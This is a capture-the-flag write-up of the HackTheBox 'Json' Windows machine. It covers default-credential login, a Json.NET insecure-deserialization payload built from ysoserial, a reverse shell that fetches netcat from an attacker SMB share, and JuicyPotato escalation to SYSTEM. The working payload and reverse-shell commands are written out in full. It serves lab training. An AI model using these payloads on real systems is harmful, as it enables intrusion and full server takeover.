HackTheBox Writeup — Json. Greetings everyone !!! Today I am here…
By: Prerak Mittal
Tags: Hacking, Information Security, Penetration Testing, Hackthebox, Ctf

Greetings everyone !!! Today I am here with the story of how I owned the recently retired Json machine from HackTheBox.

https://www.hackthebox.eu/home/machines/profile/210

Machine in a nutshell:

Json is a medium level windows box, which requires us to brush up our skills from the all time favorite web security standard, i.e., OWASP Top 10.

The box has the following attack path:

Use of default creds on login page → Identification of interesting endpoint → Insecure Deserialization → Reverse Shell → User 😄 → Juicy Potato → root 😎

There are multiple ways to root this box, but for the sake of keeping this simple, I will discuss one here.

Reconnaissance:

As always starting with the basic port enumeration

nmap -sC -sV -oA nmap 10.10.10.158

We get a bunch of interesting information

Nmap scan report for 10.10.10.158

Host is up (0.44s latency).

Not shown: 988 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp FileZilla ftpd

| ftp-syst:

|_ SYST: UNIX emulated by FileZilla

80/tcp open http Microsoft IIS httpd 8.5

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/8.5

|_http-title: Json HTB

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

49158/tcp open msrpc Microsoft Windows RPC

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows



Host script results:

|_clock-skew: mean: 3h59m43s, deviation: 0s, median: 3h59m43s

|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:78:c1 (VMware)

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

| smb2-security-mode:

| 2.02:

|_ Message signing enabled but not required

| smb2-time:

| date: 2019-10-16 23:12:10

|_ start_date: 2019-10-16 13:37:18



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Wed Oct 16 19:12:39 2019 -- 1 IP address (1 host up) scanned in 85.04 seconds

Interesting ports to note:

FTP (21) HTTP (80) SMB (445)

We can ignore the ports in the range of 49100, since they are just ephermeral ports, which are simply required to keep communicating with the client that initially connected to one of the server's well-known service listening ports.

Let’s see what the web server (port 80) hosts

Cool!!! A login page. The classic admin:admin default credentials worked here.

Which gave the following dashboard

Then, I captured the requests in the BurpSuite, which gave me some really interesting endpoint.

The website authenticates the login using the /api/account endpoint and the response is in a JSON format, giving some of the attributes of the user.

{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

Let’s see the Bearer header sent during the request closely:

Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Base64 decoding of the string gives the following output

{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

This is the same string which is given as a response and the same is then set to be the cookie as OAuth.

Let’s play with the bearer header and see if it somehow affects the response from the server. For this I simply base64 encode the string masquerad3r

masquerad3r --> bWFzcXVlcmFkM3I=

An instant moment of happiness 😎. The server directly processes the string in the bearer token without any validation.

Owning User:

The string Cannot deserialize Json.Net Object quickly gave me the direction as to where I need to head. Obviously to my all time favorite super villain — the JOKER !!! 🃏

I used the ysoserial.net to quickly build a payload that would allow some kind of RCE.

Being very lazy to switch to windows VM just to build and run the exe file, I simply took the example of JSON.NET payload from the ysoserial repository and modified it to my needs.

{

'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',

'MethodName':'Start',

'MethodParameters':

{

'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',

'$values':['cmd','/c powershell -enc ENCODED_POWERSHELL_COMMAND']

},

'ObjectInstance':

{

'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'

}

}



Understanding the payload:

This payload simply creates an object of System.Windows.Data.ObjectDataProvider class and passes the commands to be run as its parameters.

To bypass any JSON string parsing syntax error or any potential AV detection from the server, I encoded the PowerShell command using its -enc flag.

You can use ps_encoder.py for this.

Just create an SMB Server using Impacket and run the following command as payload after encoding with ps_encode.py

Command to run:

\\YOUR_TUN_IP\exploit

c64.exe -e cmd YOUR_TUN_IP 1337

Final payload will be the base64 encoded version of the JSON.NET payload from ysoserial.net

If this is too much to digest, simply switch to a windows VM, build the ysoserial.net exe and run the following command

ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c

"powershell -enc ENCODED_POWERSHELL_COMMAND" -t

Before running the payload, don’t forget to listen on the port you specified earlier. In my case, its the usual 1337

nc -nlvp 1337

Sending the encoded JSON.NET payload

After this, I get the reverse shell as the user userpool

Owning Root:

Executing whoami /priv gave some interesting results

On seeing the SeImpersonatePrivilege as Enabled, and the initial enumeration telling us that the windows server is 2012, my neural network quickly pointed me towards the JuicyPotato.

I uploaded the JuicyPotato.exe to the server and ran the following command:

.\JuicyPotato.exe -l 443 -p c:\windows\system32\cmd.exe -a "/c

C:\users\userpool\Documents

c64.exe IP 9001 -e cmd.exe" -t *

-c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

Understanding the command:

The following excerpt is taken from the official repo, explaining all the flag usage.

T:\>JuicyPotato.exe

JuicyPotato v0.1



Mandatory args:

-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both

-p <program>: program to launch

-l <port>: COM server listen port





Optional args:

-m <ip>: COM server listen address (default 127.0.0.1)

-a <argument>: command line argument to pass to program (default NULL)

-k <ip>: RPC server ip address (default 127.0.0.1)

-n <port>: RPC server listen port (default 135)

-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})

-z only test CLSID and print token's user

For CSLID, you can refer here.

After running this, I get a reverse shell as NT AUTHORITY\SYSTEM on a different instance of nc listening on 9001 as specified in JuicyPotato command.

Running JuicyPotato from the initial rev shell

Got the final rev shell as NT AUTHORITY\SYSTEM

Hope you enjoyed the story of JSON getting owned.

Thank you for reading, until next time !!!

I would love to hear about any suggestions or queries. We can connect over — Twitter or LinkedIn.